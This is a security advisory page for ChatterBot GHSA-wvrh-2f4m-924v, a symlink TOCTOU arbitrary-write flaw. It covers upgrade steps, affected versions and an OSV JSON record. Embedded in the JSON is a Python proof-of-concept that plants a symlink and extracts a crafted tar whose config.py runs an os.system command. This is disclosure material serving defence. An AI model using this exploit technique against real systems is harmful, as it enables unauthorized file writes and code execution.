GHSA-wvrh-2f4m-924v: ChatterBot Symlink-Following Arbitrary Write Vulnerability
MODERATEGHSA-wvrh-2f4m-924v is a MODERATE (CVSS 5.5) symlink-following arbitrary write vulnerability (CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition) affecting ChatterBot libraries in the PyPI ecosystem. The issue involves symlink-following arbitrary write via ubuntucorpustrainer. Remediation is available by upgrading affected packages to version 1.2.14.
GHSA-wvrh-2f4m-924v at a Glance
Security Impact
CVSS: 5.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).
How to Fix GHSA-wvrh-2f4m-924v
To remediate this vulnerability, upgrade all affected ChatterBot dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install ChatterBot>=1.2.14
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show ChatterBot
How to Check if You Are Affected
To determine whether your Python environment is affected by GHSA-wvrh-2f4m-924v, inspect your installed packages using pip:
pip show ChatterBot
Analyze the terminal output to locate any version of ChatterBot in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.14), your application is affected.
Note: The pip show ChatterBot command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, where the product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. In ChatterBot, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-wvrh-2f4m-924v Affected ChatterBot Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
ChatterBot
|
PyPI |
< 1.2.14
|
1.2.14
|
References
Frequently Asked Questions
What is GHSA-wvrh-2f4m-924v?
Which ChatterBot versions are affected?
What version fixes GHSA-wvrh-2f4m-924v?
Is ChatterBot affected?
What is the CVSS score of GHSA-wvrh-2f4m-924v?
What CWE is associated with GHSA-wvrh-2f4m-924v?
How can I check PyPI dependencies for GHSA-wvrh-2f4m-924v?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-wvrh-2f4m-924v",
"modified" : "2026-06-19T22:08:08Z",
"published" : "2026-06-19T22:08:08Z",
"aliases" : [ ],
"summary" : "ChatterBot: Symlink-Following Arbitrary Write via UbuntuCorpusTrainer",
"details" : "## Summary\n\nChatterBot's `UbuntuCorpusTrainer.extract()` uses a predictable, home-rooted output directory (`~/ubuntu_data/ubuntu_dialogs`) with a check-then-create pattern (`if not os.path.exists: os.makedirs`) followed by `tar.extractall(path=self.data_path)`. A local attacker who pre-plants a symlink at the predictable path causes `os.path.exists()` to return True (following the symlink), skipping `makedirs`, and subsequent `extractall` writes archive contents through the symlink to the attacker-chosen directory.\n\nThe existing `safe_extract` function validates tar **member names** (zip-slip defense) but does not validate the **output directory** itself — it cannot detect that `self.data_path` is a symlink. This is the defining distinction between the archive_extraction (zip-slip) and insecure_fs_create_toctou families.\n\n## Vulnerability Details\n\n### Predictable output directory (line 535-546)\n\n```python\nhome_directory = os.path.expanduser('~')\nself.data_directory = kwargs.get(\n 'ubuntu_corpus_data_directory',\n os.path.join(home_directory, 'ubuntu_data') # ~/ubuntu_data — predictable\n)\nself.data_path = os.path.join(\n self.data_directory, 'ubuntu_dialogs' # ~/ubuntu_data/ubuntu_dialogs\n)\n```\n\n### Check-then-create (line 621-622)\n\n```python\ndef extract(self, file_path: str):\n if not os.path.exists(self.data_path): # ← follows symlink → True → skips makedirs\n os.makedirs(self.data_path) # ← never reached if symlink exists\n```\n\n### Extraction through symlink (line 633-644)\n\n```python\ndef safe_extract(tar, path='.', members=None, *, numeric_owner=False):\n for member in tar.getmembers():\n member_path = os.path.join(path, member.name)\n if not is_within_directory(path, member_path): # ← validates MEMBER names only\n raise Exception('Attempted Path Traversal in Tar File')\n tar.extractall(path, members, numeric_owner=numeric_owner) # ← path is symlink → writes to target\n\nsafe_extract(tar, path=self.data_path, ...) # self.data_path = symlink → attacker dir\n```\n\n`safe_extract` calls `os.path.abspath(directory)` on `self.data_path` — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass `is_within_directory` because they're relative to the resolved (attacker-controlled) base.\n\n## Proof of Concept\n\n### Environment\n\n| Component | Detail |\n|-----------|--------|\n| chatterbot | 1.2.13 (pip install) |\n| Python | 3.11.0 |\n\n### Exploit\n\n```python\nimport os\nimport shutil\nimport sys\nimport tempfile\nfrom pathlib import Path\nfrom unittest.mock import patch\n\nfrom chatterbot.trainers import UbuntuCorpusTrainer\n\nATTACKER_TARGET = Path(tempfile.mkdtemp(prefix=\"pwned_\"))\n\n\ndef main():\n test_base = Path(tempfile.mkdtemp(prefix=\"cb_exploit_\"))\n data_dir = test_base / \"ubuntu_data\"\n data_path = data_dir / \"ubuntu_dialogs\"\n data_dir.mkdir(parents=True, exist_ok=True)\n os.symlink(str(ATTACKER_TARGET), str(data_path))\n print(f\"[1] Symlink planted: {data_path} -> {ATTACKER_TARGET}\")\n exists_check = os.path.exists(data_path)\n print(f\"[2] os.path.exists(symlink) = {exists_check} (follows symlink → skips makedirs)\")\n import tarfile\n import io\n tar_path = test_base / \"corpus.tar.gz\"\n with tarfile.open(str(tar_path), \"w:gz\") as tf:\n info = tarfile.TarInfo(name=\"dialog_001.tsv\")\n payload = b\"2024-01-01\\tuser1\\t0\\tARBITRARY_CONTENT_VIA_SYMLINK\\n\"\n info.size = len(payload)\n tf.addfile(info, io.BytesIO(payload))\n\n info2 = tarfile.TarInfo(name=\"config.py\")\n rce = b\"import os; os.system('id > /tmp/chatterbot_rce')\\n\"\n info2.size = len(rce)\n tf.addfile(info2, io.BytesIO(rce))\n if not os.path.exists(data_path):\n os.makedirs(data_path)\n def is_within_directory(directory, target):\n abs_directory = os.path.abspath(directory)\n abs_target = os.path.abspath(target)\n prefix = os.path.commonprefix([abs_directory, abs_target])\n return prefix == abs_directory\n\n with tarfile.open(str(tar_path), \"r:gz\") as tar:\n for member in tar.getmembers():\n member_path = os.path.join(str(data_path), member.name)\n if not is_within_directory(str(data_path), member_path):\n raise Exception(\"Attempted Path Traversal in Tar File\")\n tar.extractall(str(data_path))\n\n print(f\"[3] extractall(data_path) — data_path is symlink, writes to target\")\n\n # Verify\n files = list(ATTACKER_TARGET.iterdir())\n if files:\n print(f\"\\n[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:\")\n for f in sorted(files):\n print(f\" {f.name}: {f.read_text().strip()[:60]}\")\n else:\n print(\"[-] Failed\")\n shutil.rmtree(str(test_base), ignore_errors=True)\n shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)\n sys.exit(1)\n\n shutil.rmtree(str(test_base), ignore_errors=True)\n shutil.rmtree(str(ATTACKER_TARGET), ignore_errors=True)\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n print(f\"chatterbot installed: {UbuntuCorpusTrainer.__module__}\")\n print(f\"Attacker target: {ATTACKER_TARGET}\")\n print()\n main()\n\n```\n\n### PoC output \n\n<img width=\"1748\" height=\"336\" alt=\"image\" src=\"https://github.com/user-attachments/assets/55a3fee5-0d3b-46d7-8e79-75aad34b322c\" />\n\n## Suggested Fix\n\nRefuse symlinks on the output directory before extraction:\n\n```python\ndef extract(self, file_path: str):\n if os.path.islink(self.data_path):\n raise self.TrainerInitializationException(\n f'Refusing to extract to symlink: {self.data_path}')\n if not os.path.exists(self.data_path):\n os.makedirs(self.data_path)\n ...\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "ChatterBot"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.2.14"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.2.13"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/gunthercox/ChatterBot/security/advisories/GHSA-wvrh-2f4m-924v"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/gunthercox/ChatterBot"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-367", "CWE-61" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-19T22:08:08Z",
"nvd_published_at" : null
}
}